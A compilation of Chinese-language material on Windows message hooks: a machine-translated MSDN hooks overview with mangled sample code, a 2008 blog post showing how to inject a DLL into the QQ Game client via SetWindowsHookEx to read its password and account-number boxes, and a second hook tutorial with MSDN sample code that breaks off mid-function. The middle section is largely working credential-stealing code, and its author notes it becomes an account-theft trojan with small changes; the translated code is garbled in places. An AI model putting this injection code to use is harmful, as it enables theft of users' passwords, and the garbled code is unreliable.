created or destroyed.
Note that custom shell applications do not receive WH_SHELL messages. Therefore, any application that
registers itself as the default shell must call theSystemParametersInfo function before it (or any other application)
can receive WH_SHELL messages. This function must be called with SPI_SETMINIMIZEDMETRICS and
a MINIMIZEDMETRICS structure. Set the iArrange member of this structure to ARW_HIDE.
For more information, see the ShellProc callback function.
鉤子概述 MSDN <中>
一個鉤是一種機制,使應用程序能夠攔截事件,如郵件,鼠標操做和鍵盤敲擊。一個功能,它能夠攔截特
定類型的事件被稱爲一個鉤子程序。鉤子程序能夠做用於它接收到的每一個事件,而後修改或放棄的事件。
下面的一些例子使用鉤子:
調試的目的監視消息
提供支持宏的錄製和播放
提供支持,幫助鍵(F1)
模擬鼠標和鍵盤輸入。
實現基於計算機的培訓(CBT)的應用
注 掛鉤每每會拖慢系統,由於它們增長了系統處理量必須執行的每一個消息。你應該安裝一個掛鉤,只在
必要時,並儘快將其刪除。
本節將討論如下內容:
鉤鏈
鉤鏈
鉤子程序
鉤子類型
o WH_CALLWNDPROC 和 WH_CALLWNDPROCRET
o WH_CBT
o WH_DEBUG
o WH_FOREGROUNDIDLE
o WH_GETMESSAGE
o WH_JOURNALPLAYBACK
o WH_JOURNALRECORD
o WH_KEYBOARD_LL
o WH_KEYBOARD
o WH_MOUSE_LL
o WH_MOUSE
o WH_MSGFILTER 和 WH_SYSMSGFILTER
o WH_SHELL
該系統支持多種不一樣類型的鉤子;每一個類型提供訪問其消息處理機制的一個不一樣方面。例如,一個應用程序
能夠使用 WH_MOUSE 鉤子來監視鼠標消息的消息流量。
該系統保持一個單獨的鉤鏈,爲每種類型的鉤子。一個 鉤子鏈是一個特殊的,應用程序定義的回調函數稱
爲鉤子程序的指針列表 。當一個消息發生,是與特定類型的鉤子,該系統將消息傳遞到每一個鉤子程序中引
用的鉤鏈,一前一後。一個鉤子程序能夠採起的行動取決於所涉及的類型的鉤子。對於某些類型的鉤子只
能監視鉤子程序的消息,其餘人能夠修改消息或中止其進展狀況,經過連鎖經營,防止他們到達下一個鉤
子程序或目標窗口。
鉤子程序
若要利用一種特定類型的鉤,顯影劑提供了一個鉤子程序,並使用調用 SetWindowsHookEx 函數,把它安
裝到鉤與鏈。一個鉤子過程必須有下面的語法:
複製
LRESULT CALLBACK HOOKPROC(
詮釋 nCode,
WPARAM wParam 參數,
LPARAM lParam 的
)
{
/ /處理事件
...
返回 CallNextHookEx(NULL,nCode,WPARAM,LPARAM);
}
,HOOKPROC 是一個佔位符,一個應用程序定義的名稱。
nCode 參數是一個鉤子,鉤子程序代碼用來肯定要執行的操做。鉤碼的值依賴於類型的鉤子,每一個類型都
有其自身的特色的鉤碼。的 wParam 和 lParam 的參數的值 依賴於鉤碼,但它們一般包含的信息已發送或發
布有關消息。
調用 SetWindowsHookEx 函數老是安裝一個鉤子程序,在開始的鉤鏈。當事件發生時,監視一個特定類型
的鉤,系統調用的過程,在與鉤的鉤鏈的開頭。鏈中的每個鉤子程序決定是否傳遞事件到下一個程序。
一個鉤子程序事件傳遞到下一個程序經過調用 CallNextHookEx 函數。
請注意,某些類型的鉤子的鉤程序只能監視消息。系統將消息傳遞到每個鉤子程序,而無論是否一個特
定的過程調用 CallNextHookEx。
一個 全局鉤子監視在同一桌面的全部線程調用線程的消息。一個 特定於線程的鉤子監視的消息只有一個獨
立的線程。在與調用線程在同一桌面的任何應用程序的狀況下,能夠被稱爲一個全局鉤子程序,因此程序
必須是在一個單獨的 DLL 模塊。只有在上下文相關的線程被稱爲線程特定的鉤子程序。若是一個應用程序
安裝了一個本身的線程鉤子程序,鉤子程序能夠在相同的模塊做爲應用程序代碼的其他部分,或在一個 DLL。
若是應用程序安裝不一樣的應用程序的線程爲一個鉤子程序,該程序必須在 DLL 中。如需詳細資訊,請參閱
動態連接庫。
請注意 ,您應該使用全局鉤子僅用於調試目的,不然,你應該避免使用它們。全局鉤子傷害執行相同類
型的全局鉤子與其它的應用程序的系統的性能,從而致使衝突。
鉤子類型
每種類型的鉤子使應用程序監控系統的消息處理機制的不一樣方面。如下各節描述了可用的鉤子。
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD_LL
WH_KEYBOARD
WH_MOUSE_LL
WH_MOUSE
WH_MSGFILTER 和 WH_SYSMSGFILTER
WH_SHELL
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET
的 WH_CALLWNDPROC 和 WH_CALLWNDPROCRET 掛鉤的使您能夠監視發送到窗口過程的消息。
系統調用 WH_CALLWNDPROC 鉤子程序消息傳遞到接收窗口過程以前,調用
WH_CALLWNDPROCRET 鉤子程序,窗口過程處理的消息後。
WH_CALLWNDPROCRET 鉤傳遞一個指針,指向一個 CWPRETSTRUCT 結構的鉤子程序。該結構包含
返回值的窗口過程處理的消息,以及與消息關聯的消息參數。子類化窗口不能正常工做進程之間的消息。
欲瞭解更多信息,請參閱 CallWndProc 和 CallWndRetProc 回調函數。
WH_CBT
系統前,調用 WH_CBT 鉤子程序,激活,建立,銷燬,最小化,最大化,移動,調整大小的窗口;完成系
統命令以前,從系統消息隊列中移除鼠標或鍵盤事件以前,前設置輸入焦點;或同步系統消息隊列中。掛鉤
函數返回的值肯定系統是否容許或阻止這些操做之一。WH_CBT 鉤的目的主要是基於計算機的培訓(CBT)
的應用。
有關詳細信息,請參閱回調函數的 CBTProc。
如需詳細資訊,請參閱 WinEvents。
WH_DEBUG
系統調用 WH_DEBUG 鉤子程序,而後再調用鉤子程序與系統中的任何其餘掛鉤。您能夠使用這個鉤子來
決定是否容許系統調用鉤子程序,與其餘類型的鉤子。
有關詳細信息,請參閱回調函數的 DebugProc。
WH_FOREGROUNDIDLE
WH_FOREGROUNDIDLE 鉤時,前臺線程處於空閒狀態時,它使您可以執行低優先級任務。當應用程序
的前臺線程即將成爲閒置的系統調用 WH_FOREGROUNDIDLE 鉤子程序。
有關詳細信息,請參閱回調函數的 ForegroundIdleProc。
WH_GETMESSAGE
WH_GETMESSAGE 鉤子使應用程序監控的信息由 GetMessage 函數或 PeekMessage 的功能的返回。您可
以使用 WH_GETMESSAGE 鉤子監視鼠標和鍵盤輸入等發佈的消息到消息隊列。
有關詳細信息,請參閱的 GetMsgProc 回調函數。
WH_JOURNALPLAYBACK
WH_JOURNALPLAYBACK 鉤子使應用程序進入系統的消息隊列中插入消息。您能夠使用這個鉤子來播
放一個系列的鼠標和鍵盤事件記錄使用 WH_JOURNALRECORD。常規的鼠標和鍵盤輸入被禁用,只要安
裝一個 WH_JOURNALPLAYBACK 鉤。甲 WH_JOURNALPLAYBACK 鉤子是一個全球性的鉤,它不能
被用做線程特定的鉤子。
WH_JOURNALPLAYBACK 鉤子返回一個超時值。這個值告訴系統處理當前消息從播放鉤以前要等待多
少毫秒。這使鉤控制的定時事件回放。
有關詳細信息,請參閱回調函數的 JournalPlaybackProc。
WH_JOURNALRECORD
WH_JOURNALRECORD 鉤,您能夠監視和記錄輸入事件。一般狀況下,你能夠使用這個鉤子記錄一系
列的鼠標和鍵盤事件,使用 WH_JOURNALPLAYBACK 播放。WH_JOURNALRECORD 鉤子是一個全球
性的鉤狀,它不能被用做線程特定的鉤子。
欲瞭解更多信息,看到的 JournalRecordProc 的回調函數。
WH_KEYBOARD_LL
WH_KEYBOARD_LL 鉤,使您能夠監控鍵盤輸入事件即將被張貼在一個線程輸入隊列。
欲瞭解更多信息,看到的 LowLevelKeyboardProc 的回調函數。
WH_KEYBOARD
WH_KEYBOARD 鉤子容許應用程序來監視消息 WM_KEYDOWN 和 WM_KEYUP 消息由 GetMessage
函數或 PeekMessage 的功能的返回流量。您能夠使用的的 WH_KEYBOARD 掛鉤,監控鍵盤輸入發送到
消息隊列中。
欲瞭解更多信息,請參閱 KeyboardProc 回調函數。
WH_MOUSE_LL
WH_MOUSE_LL 鉤可以讓您監視即將被張貼在一個線程輸入隊列中的鼠標輸入事件。
有關詳細信息,請參閱回調函數的 LowLevelMouseProc。
WH_MOUSE
WH_MOUSE 鉤,您能夠監視由 GetMessage 函數或 PeekMessage 的功能的返回的鼠標消息。您能夠使用
WH_MOUSE 鉤子來監視鼠標輸入發送到消息隊列中。
欲瞭解更多信息,請參閱 MouseProc 的回調函數。
WH_MSGFILTER 和 WH_SYSMSGFILTER
的 WH_MSGFILTER 和 WH_SYSMSGFILTER 鉤子讓你到監控到被處理的菜單,滾動條,消息框,對話
框的消息,併到檢測時,在不一樣的窗口是約到被激活的用戶是按下 ALT,+ TAB 或 ALT + ESC 組合鍵。
WH_MSGFILTER 鉤子只能監視消息傳遞到菜單,滾動條,消息框,或經過安裝鉤子程序的應用程序建立
的對話框。WH_SYSMSGFILTER 鉤子監視全部的應用程序的消息。
該 WH_MSGFILTER 和 WH_SYSMSGFILTER 掛鉤的,使您能夠執行在模態循環,至關於在主消息循環
的過濾郵件過濾。例如,一個應用程序常常檢查新的消息,在主循環之間的時間從隊列中檢索消息的時間
調度信息,進行適當的特殊處理。然而,在一個模式循環,系統檢索和發送消息未經容許的應用程序在其
主消息循環中過濾消息的機會。若是一個應用程序安裝一個 WH_MSGFILTER 或 WH_SYSMSGFILTER
掛鉤的過程當中,系統調用的程序在模式循環。
應用程序能夠調用 WH_MSGFILTER 鉤,直接調用 CallMsgFilter 功能。經過使用此功能,應用程序能夠
使用相同的代碼來過濾郵件中的模態循環,由於它使用的主消息循環。要作到這一點,封裝在
WH_MSGFILTER 鉤子程序,並調用 CallMsgFilter 之間的調用 GetMessage 函數和 DispatchMessage 函數
功能的過濾操做。
複製
(GetMessage 函數(味精,(HWND)NULL,0,0))
{
若是(!CallMsgFilter(&qmsg,0))
DispatchMessage 函數(qmsg);
}
最後一個參數 CallMsgFilter 是簡單地傳遞給鉤子程序,你能夠輸入任何值。鉤子程序,如
MSGF_MAINLOOP 定義一個常量,能夠使用這個值來決定的程序調用。
欲瞭解更多信息,請參閱 MessageProc 和 SysMsgProc 回調函數。
WH_SHELL
一個 shell 應用程序能夠使用 WH_SHELL 鉤子接收重要的通知。系統調用 WH_SHELL 鉤子程序時,外殼
應用程序被激活,當一個頂層窗口被建立或銷燬。
請注意,自定義外殼應用程序不接收 WH_SHELL 消息。所以,任何應用程序,將自身註冊爲默認的 shell 之
前,必須調用 SystemParametersInfo 函數(或任何其餘應用程序)能夠接收 WH_SHELL 消息。這個函數
必須調用與 SPI_SETMINIMIZEDMETRICS 和一個 MINIMIZEDMETRICS 的結構。設置這個結構
ARW_HIDE iArrange 成員。
有關詳細信息,請參閱回調函數的 ShellProc。
經過 HOOK 獲取 QQ 遊戲登陸密碼
//經過 HOOK 獲取 QQ 遊戲登陸密碼
//by redice 2008.7.19
//redice@163.com
不是什麼新鮮貨了,只是想重溫一下鉤子及 DLL 的編寫...
先發個程序運行效果圖:
不得不先說一下 API 函數 SendMessage:
使用 SendMessage 向編輯框窗口發送 WM_GETTEST 消息,能夠輕易獲取到編輯框的內容(就算這個窗口不屬
於同一進程)。
可是有一個特例,那就是當編輯框窗口具備 ES_PASSWORD 風格(即密碼輸入框)且不輸入同一進程時,使
用上面的方法就失效了。
通俗的說,就是當你要使用 SendMessage 讀取的密碼框不屬於同一個進程時,是讀取不到任何內容的。
這也許是微軟從安全角度考慮作的手腳吧。
如何解決這個問題?
若是咱們能將 SendMessage 放到目標進程中執行問題就解決了。由於屬於同一個進程時使用 SendMessage
是能夠讀取到密碼框的內容的。
如何將 SendMessage 放到目標進程中執行呢?使用 HOOK(或者進程注入)。
關於鉤子(HOOK)
鉤子(Hook),是 Windows 消息處理機制的一個平臺,應用程序能夠在上面設置子程以監視指定窗口的某種
消息,並且所監視的窗口能夠是其餘進程所建立的。
當消息到達後,在目標窗口處理函數以前處理它。鉤子機制容許應用程序截獲處理 window 消息或特定事件。
鉤子其實是一個處理消息的程序段,經過系統調用,把它掛入系統。每當特定的消息發出,在沒有到達
目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數先獲得控制權。
這時鉤子函數便可以加工處理(改變)該消息,也能夠不做處理而繼續傳遞該消息,還能夠強制結束消息
的傳遞。
如何安裝一個鉤子?
使用 API 函數 SetWindowsHookEx,原型及參數說明以下
HHOOK SetWindowsHookEx(
int idHook, // 鉤子的類型,本例採用 WH_CALLWNDPROC(窗口過程鉤子)
HOOKPROC lpfn, // 鉤子函數地址(即鉤子函數的函數名)
HINSTANCE hMod, // 鉤子函數所在的應用程序實例句柄,(本例爲 DLL 的句柄)
DWORD dwThreadId // 目標線程 ID,即鉤子的宿主線程
);
注意:當最後一個參數爲 0 時表示安裝的是全局鉤子,此時要求鉤子函數必需要在 DLL 中。
MSDN 上關於這個函數的說明很詳細的。
準備活動作完了。下面是本程序的實現:
(1) GetWindowTextRemote.DLL
該 DLL 導出了一個函數 GetWindowTextRemote,其它應用程序經過調用這個函數就能實現對其它應用程序
密碼編輯框內容的讀取。
//-------------------------------------------------------
// GetWindowTextRemote
// 插入本 DLL 到遠程進程
// 從遠程編輯框控件中獲取密碼
//
// 返回值:讀取到的密碼字符數
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//給目標進程安裝一個窗口過程鉤子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//註冊一個消息,用於通知遠程進程讀取密碼
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );
// 向遠程進程發送讀取消息,觸發其讀取密碼
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );
return strlen(lpString);
}
另外一個重要的函數就是鉤子過程了:
//-------------------------------------------------------
// HookProc
// 由遠程進程執行
//-------------------------------------------------------
#define pCW ((CWPSTRUCT*)lParam)
LRESULT HookProc (
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
//接收到讀取密碼消息
if( pCW->message == WM_HOOKSPY ) {
MessageBeep(MB_OK);
//讀取密碼編輯框的內容
SendMessage( g_hWnd,WM_GETTEXT,128,(LPARAM)g_szPassword );
//卸載鉤子
UnhookWindowsHookEx(g_hHook );
}
//將消息處理權轉讓給下一個鉤子函數
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
注意:安裝 Hook 的進程加載 DLL,別的進程在運行的過程當中,由系統在該進程空間注入這個 DLL。所謂注
入就是把 Hook DLL 的執行代碼映射到這個進程的內存空間。
雖然進程有若干個,但是該 DLL 的執行代碼只有一份。
不一樣的進程全局 Hook DLL 的執行代碼是共享的,但是全局變量並不共享(這樣能夠實現某種程度的隔離,
對於增進系統的穩定性和安全性是頗有必要的)。
可是若是全局變量不共享,進程通訊就會受限,好比本例中,在目標進程中使用 SendMessage 獲取到的密
碼如何傳遞給安裝 HOOK 的進程就是一個問題?
解決這個問題的方法就是使用共享節,經過共享節能夠使所有變量實現共享。以下所示:
//-------------------------------------------------------
// 共享數據區
// 共享數據區中的數據在 DLL 被映射的進程中都是共享的
//-------------------------------------------------------
#pragma data_seg (".shared")
HWND g_hWnd = 0; //要讀取的編輯框控件句柄
HHOOK g_hHook = 0; //HOOK 句柄
UINT WM_HOOKSPY = 0; //自定義消息,通知遠程進程讀取編輯框控件的內容
char g_szPassword [256] = { '\0' }; //保存編輯框控件的緩存區
#pragma data_seg ()
使用共享節時要添加以下的連接選項:
#pragma comment(linker,"/SECTION:.shared,RWS")
到此,DLL 的內就結束了。
在此特別感謝 codeproject 的 Robert Kuster,若是不是看了他的《Three Ways to Inject Your Code into
Another Process》,也不會有個人這篇日誌。
完整的代碼在附件中。
(2)測試程序-獲取 QQ 遊戲登陸密碼
接下來就是咱們的測試程序了,這個測試程序實現的功能就是「得到 QQ 遊戲登陸框中的 QQ 號和密碼」,
這是一個 MFC 程序,關鍵代碼以下所示:
我爲何不獲取 QQ 聊天登陸窗口上的密碼而要獲取 QQ 遊戲登陸窗口上的 QQ 密碼呢?
這是由於 QQ 聊天登陸時,QQ 程序作了特殊處理(Nprotect 鍵盤加密技術),使用 HOOK 也是讀取不到密碼
的。但 QQ 遊戲登陸時卻沒有這樣的保護。
//先獲取 QQ 遊戲登陸窗口的句柄,而後遍歷子窗口,查找號碼輸入框和密碼輸入框
void CGetWindowTextRemoteTestDlg::OnGetremotetext()
{
HWND parenthwnd=0;
HWND childhwnd=0;
DWORD style=0;
char tempbuf[256]={0};
//獲取 QQ 遊戲登陸窗口句柄
parenthwnd=::FindWindow(NULL,"QQ 遊戲");
if(parenthwnd)
{
//遍歷子窗口,查找 QQ 號和密碼輸入框
childhwnd=::GetWindow(parenthwnd,GW_CHILD);
childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
while(childhwnd)
{
memset(tempbuf,0,256);
::GetClassName(childhwnd,tempbuf,256);
style=::GetWindowLong(childhwnd,GWL_STYLE);
//號碼輸入框
//遠程進程的非密碼框內容能夠直接採用 SendMessage 發送 WM_GETTEXT 獲取到
if(0x50010202==style)//號碼輸入框的樣式是 0x50010202,這是使用 Spy++查看得知的。
{
memset(tempbuf,0,256);
::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
this->SetDlgItemText(IDC_NUMBER,tempbuf);
}
//密碼輸入框
//遠程進程的密碼框內容採用 HOOK WH_CALLWNDPROC 獲取
if(0x52010020==style)
{
Getremotetext(childhwnd,tempbuf);
this->SetDlgItemText(IDC_PASSWORD,tempbuf);
}
childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
}
}
}
//動態調用 GetWindowTextRemote.DLL 中的 GetWindowTextRemote 函數讀取遠程進程的密碼編輯框內容
int Getremotetext(HWND hwnd,LPSTR tempbuf)
{
typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
GetWindowTextRemote getwindowtextremote=NULL;
HINSTANCE hDll=0;
int ret=0;
hDll=::LoadLibrary("GetWindowTextRemote.dll");
getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
ret=getwindowtextremote(hwnd,tempbuf);
return ret;
}
ok,到這裏所有結束了。這個程序作一修改就是個盜號木馬。寫這篇日誌僅做交流,本人不承擔任何責任。
hook 使用指南(一)
1.Hooks
http://www.21tx.com 2002 年 02 月 25 日 Blog ylb_and_xy
hook 指出了系統消息處理機制。利用 hook,能夠在應用程序中安裝子程序監視系統和進程之間的消息
傳遞,這個監視過程是在消息到達目的窗口過程以前。
下面簡述 hook,而且解釋在 Win32 系統下,如何使用 hook 編程。
2.About Hooks
hook 將使程序效率下降,由於它們增長了系統必須處理的消息總數。你應該在須要時才使用,並及時刪
除它。我將如下面的主題描述 hook。
Hook Chains(hook 鏈)
系統支持不少不一樣類型的 hooks;不一樣的 hook 提供不一樣的消息處理機制。好比,應用程序能夠使用
WH_MOUSE_hook 來監視鼠標消息的傳遞。
系統爲不一樣類型的 hook 提供單獨的 hook 鏈。hook 鏈是一個指針列表,這個列表的指針指向指定的,
應用程序定義的,被 hook 過程調用的回調函數。當與指定的 hook 類型關聯的消息發生時,系統就把這
個消息傳遞到 hook 過程。一些 hook 過程能夠只監視消息,或者修改消息,或者中止消息的前進,避免
這些消息傳遞到下一個 hook 過程或者目的窗口。
Hook Procedures(hook 過程)
爲了利用特殊的 hook 類型,開發者提供了 hook 過程,使用 SetWindowsHookEx 函數來把 hook
過程安裝到關聯的 hook 鏈。hook 過程必須按照如下的語法:
LRESULT CALLBACK HookProc(
int nCode,
WPARAM wParam,
LPARAM lParam
);
HookProc 是應用程序定義的名字。
nCode 參數是 hook 代碼,hook 過程使用這個參數來肯定任務。這個參數的值依賴於 hook 類型,每
一種 hook 都有本身的 hook 代碼特徵字符集。wParam 和 lParam 參數的值依賴於 hook 代碼,可是它
們的典型值是包含了關於發送或者接收消息的信息。
SetWindowsHookEx 函數老是在 hook 鏈的開頭安裝 hook 過程。當指定類型的 hook 監視的事件發
生時,系統就調用與這個 hook 關聯的 hook 鏈的開頭的 hook 過程。每個 hook 鏈中的 hook 過程都
決定是否把這個事件傳遞到下一個 hook 過程。hook 過程傳遞事件到下一個 hook 過程須要調用 CallNe
xtHookEx 函數。
有些類型 hook 的 hook 過程只能監視消息,無論是否調用了 CallNextHookEx 函數,系統都把消息
傳遞到每個 hook 過程。
全局 hook 監視同一桌面的全部線程。而特定線程的 hook 只能監視單獨的線程。全局 hook 過程能夠
被同一桌面的任何應用程序調用,就象調用線程同樣,因此這個過程必須和 DLL 模塊分開。特定線程 ho
ok 過程只能夠被相關線程調用。只有在有調試目的的時候才使用全局 hook,應該避免使用,全局 hook
損害了系統性能。
Hook Types
每一種類型的 hook 能夠使應用程序可以監視不一樣類型的系統消息處理機制。下面描述全部能夠利用的
hook 類型。
WH_CALLWNDPROC and WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC and WH_CALLWNDPROCRET Hook 使你能夠監視發送到窗口過程的消息。
系統在消息發送到接收窗口過程以前調用 WH_CALLWNDPROC hook 過程,而且在窗口過程處理完消息
以後調用 WH_CALLWNDPROCRET Hook 過程。
WH_CALLWNDPROCRET Hook 傳遞指針到 CWPRETSTRUCT 結構,再傳遞到 hook 過程。CWP
RETSTRUCT 結構包含了來自處理消息的窗口過程的返回值,一樣也包括了與這個消息關聯的消息參數。
WH_CBT Hook
在如下事件以前,系統都會調用 WH_CBT Hook 過程,這些事件包括:激活,創建,銷燬,最小化,
最大化,移動,改變尺寸等窗口事件;完成系統指令;來自系統消息隊列中的移動鼠標,鍵盤事件;設置
輸入焦點事件;同步系統消息隊列事件。hook 過程的返回值肯定系統是否容許或者防止這些操做中的一
個。
WH_DEBUG Hook
在系統調用系統中與其餘 hook 關聯的 hook 過程以前,系統會調用 WH_DEBUG Hook 過程。你可
以使用這個 hook 來決定是否容許系統調用與其餘 hook 關聯的 hook 過程。
WH_FOREGROUNDIDLE Hook
當應用程序的前景線程處於空閒狀態時,能夠使用 WH_FOREGROUNDIDLE Hook 執行低優先級
的任務。當應用程序的前景線程大概要變成空閒狀態時,系統就會調用 WH_FOREGROUNDIDLE Hook
過程。
WH_GETMESSAGE Hook
應用程序使用 WH_GETMESSAGE Hook 來監視從 GetMessage or PeekMessage 函數返回的消
息。你能夠使用 WH_GETMESSAGE Hook 去監視鼠標和鍵盤輸入,以及其餘發送到消息隊列中的消息。
WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook 使應用程序能夠插入消息到系統消息隊列。能夠使用這個 hook 回
放經過使用 WH_JOURNALRECORD hook 記錄下來的連續的鼠標和鍵盤事件。只要 WH_JOURNALPL
AYBACK hook 已經安裝,正常的鼠標和鍵盤事件就是無效的。WH_JOURNALPLAYBACK hook 是全
局 hook,它不能象線程特定 hook 同樣使用。WH_JOURNALPLAYBACK hook 返回超時值,這個值告
訴系統在處理來自回放 hook 當前消息以前須要等待多長時間(毫秒)。這就使 hook 能夠控制實時事件
的回放。
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 用來監視和記錄輸入事件。典型的,能夠使用這個 hook 記錄連續的
鼠標和鍵盤事件,而後經過使用 WH_JOURNALPLAYBACK Hook 來回放。WH_JOURNALRECORD h
ook 是全局 hook,它不能象線程特定 hook 同樣使用。
WH_KEYBOARD Hook
在應用程序中,WH_KEYBOARD Hook 用來監視 WM_KEYDOWN and WM_KEYUP 消息,這些消
息經過 GetMessage or PeekMessage function 返回。能夠使用這個 hook 來監視輸入到消息隊列中
的鍵盤消息。
WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook 監視輸入到線程消息隊列中的鍵盤消息。
WH_MOUSE Hook
WH_MOUSE Hook 監視從 GetMessage or PeekMessage function 返回的鼠標消息。使用這個 h
ook 監視輸入到消息隊列中的鼠標消息。
WH_MOUSE_LL Hook
WH_MOUSE_LL Hook 監視輸入到線程消息隊列中的鼠標消息。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER and WH_SYSMSGFILTER Hooks 使咱們能夠監視菜單,滾動條,消息框,對話
框消息而且發現用戶使用 ALT+TAB or ALT+ESC 組合鍵切換窗口。WH_MSGFILTER hook 只能監視
傳遞到菜單,滾動條,消息框的消息,以及傳遞到經過安裝了 hook 過程的應用程序創建的對話框的消息。
WH_SYSMSGFILTER Hook 監視全部應用程序消息。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks 使咱們能夠在模式循環期間過濾消息,這等價
於在主消息循環中過濾消息。
經過調用 CallMsgFilter function 能夠直接的調用 WH_MSGFILTER hook。經過使用這個函數,應
用程序可以在模式循環期間使用相同的代碼去過濾消息,如同在主消息循環裏同樣。
WH_SHELL Hook
外殼應用程序能夠使用 WH_SHELL Hook 去接收重要的通知。當外殼應用程序是激活的而且當頂層
窗口創建或者銷燬時,系統調用 WH_SHELL Hook 過程。
按照慣例,外殼應用程序都不接收 WH_SHELL 消息。因此,在應用程序可以接收 WH_SHELL 消息
以前,應用程序必須調用 SystemParametersInfo function 註冊它本身。
3.Using Hooks
Installing and Releasing Hook Procedures
能夠使用 SetWindowsHookEx function 安裝 hook 過程而且指定 hook 類型,指定是否須要把 hook
過程與全部線程關聯,或者關聯指定的線程,而且指向 hook 過程入口點。
必須把全局 hook 過程放進 DLL,以和應用程序安裝的 hook 過程分開。在應用程序安裝 hook 過程之
前,它必須有一個指向 DLL 模塊的句柄。爲了獲得這個句柄,能夠在調用 LoadLibrary 函數時使用 DLL
名字參數。在獲得這個句柄之後,能夠調用 GetProcAddress 函數來獲得 hook 過程的指針。最後,使用
SetWindowsHookEx 函數安裝 hook 過程地址進應用程序 hook 鏈。這個過程能夠用下面的事例說明:
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;
hinstDLL = LoadLibrary((LPCTSTR) "c:\\windows\\sysmsg.dll"); file://loading DLL
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc"); file://get add
ress
hhookSysMsg = SetWindowsHookEx(WH_SYSMSGFILTER,hkprcSysMsg,hinstDLL,0); file:/
/install hook
當應用程序再也不須要與特定線程相關 hook 時,須要調用 UnhookWindowsHookEx 函數刪除相關的 h
ook 過程。對於全局 hook,也須要調用 UnhookWindowsHookEx 函數,可是這個函數不能釋放 DLL
包含的 hook 過程。這是由於全局 hook 過程是被全部應用程序進程調用的,這就致使了全部的進程都隱
性的調用了 LoadLibrary 函數。因此必須調用 FreeLibrary 函數釋放 DLL。
Monitoring System Events
下面的例子使用了不一樣的特定線程 hook 過程去監視系統事件。它示範了怎樣使用下面的 hook 過程去處
理事件:
WH_CALLWNDPROC
WH_CBT
WH_DEBUG
WH_GETMESSAGE
WH_KEYBOARD
WH_MOUSE
WH_MSGFILTER
用戶能夠經過使用菜單安裝或者移走 hook 過程。當 hook 過程已經安裝而且過程監視的時間發生時,h
ook 過程將在應用程序主窗口客戶區寫出事件信息。原代碼以下:
#define NUMHOOKS 7
// Global variables
typedef struct _MYHOOKDATA
{
int nType;
HOOKPROC hkprc;
HHOOK hhook;
} MYHOOKDATA;
MYHOOKDATA myhookdata[NUMHOOKS];
LRESULT WINAPI MainWndProc(HWND hwndMain, UINT uMsg, WPARAM wParam,
LPARAM lParam)
{
static BOOL afHooks[NUMHOOKS];
int index;
static HMENU hmenu;
switch (uMsg)
{
case WM_CREATE:
// Save the menu handle.
hmenu = GetMenu(hwndMain);
// Initialize structures with hook data. The menu-item
// identifiers are defined as 0 through 6 in the
// header file. They can be used to identify array
// elements both here and during the WM_COMMAND
// message.
myhookdata[IDM_CALLWNDPROC].nType = WH_CALLWNDPROC;
myhookdata[IDM_CALLWNDPROC].hkprc = CallWndProc;
myhookdata[IDM_CBT].nType = WH_CBT;
myhookdata[IDM_CBT].hkprc = CBTProc;
myhookdata[IDM_DEBUG].nType = WH_DEBUG;
myhookdata[IDM_DEBUG].hkprc = DebugProc;
myhookdata[IDM_GETMESSAGE].nType = WH_GETMESSAGE;
myhookdata[IDM_GETMESSAGE].hkprc = GetMsgProc;
myhookdata[IDM_KEYBOARD].nType = WH_KEYBOARD;
myhookdata[IDM_KEYBOARD].hkprc = KeyboardProc;
myhookdata[IDM_MOUSE].nType = WH_MOUSE;
myhookdata[IDM_MOUSE].hkprc = MouseProc;
myhookdata[IDM_MSGFILTER].nType = WH_MSGFILTER;
myhookdata[IDM_MSGFILTER].hkprc = MessageProc;
// Initialize all flags in the array to FALSE.
memset(afHooks, FALSE, sizeof(afHooks));
return 0;
case WM_COMMAND:
switch (LOWORD(wParam))
{
// The user selected a hook command from the menu.
case IDM_CALLWNDPROC:
case IDM_CBT:
case IDM_DEBUG:
case IDM_GETMESSAGE:
case IDM_KEYBOARD:
case IDM_MOUSE:
case IDM_MSGFILTER:
// Use the menu-item identifier as an index
// into the array of structures with hook data.
index = LOWORD(wParam);
// If the selected type of hook procedure isn't
// installed yet, install it and check the
// associated menu item.
if (!afHooks[index])
{
myhookdata[index].hhook = SetWindowsHookEx(
myhookdata[index].nType,
myhookdata[index].hkprc,
(HINSTANCE) NULL, GetCurrentThreadId());
CheckMenuItem(hmenu, index,
MF_BYCOMMAND | MF_CHECKED);
afHooks[index] = TRUE;
}
// If the selected type of hook procedure is
// already installed, remove it and remove the
// check mark from the associated menu item.
else
{
UnhookWindowsHookEx(myhookdata[index].hhook);
CheckMenuItem(hmenu, index,
MF_BYCOMMAND | MF_UNCHECKED);
afHooks[index] = FALSE;
}
default:
return (DefWindowProc(hwndMain, uMsg, wParam,
lParam));
}
break;
//
// Process other messages.
//
default:
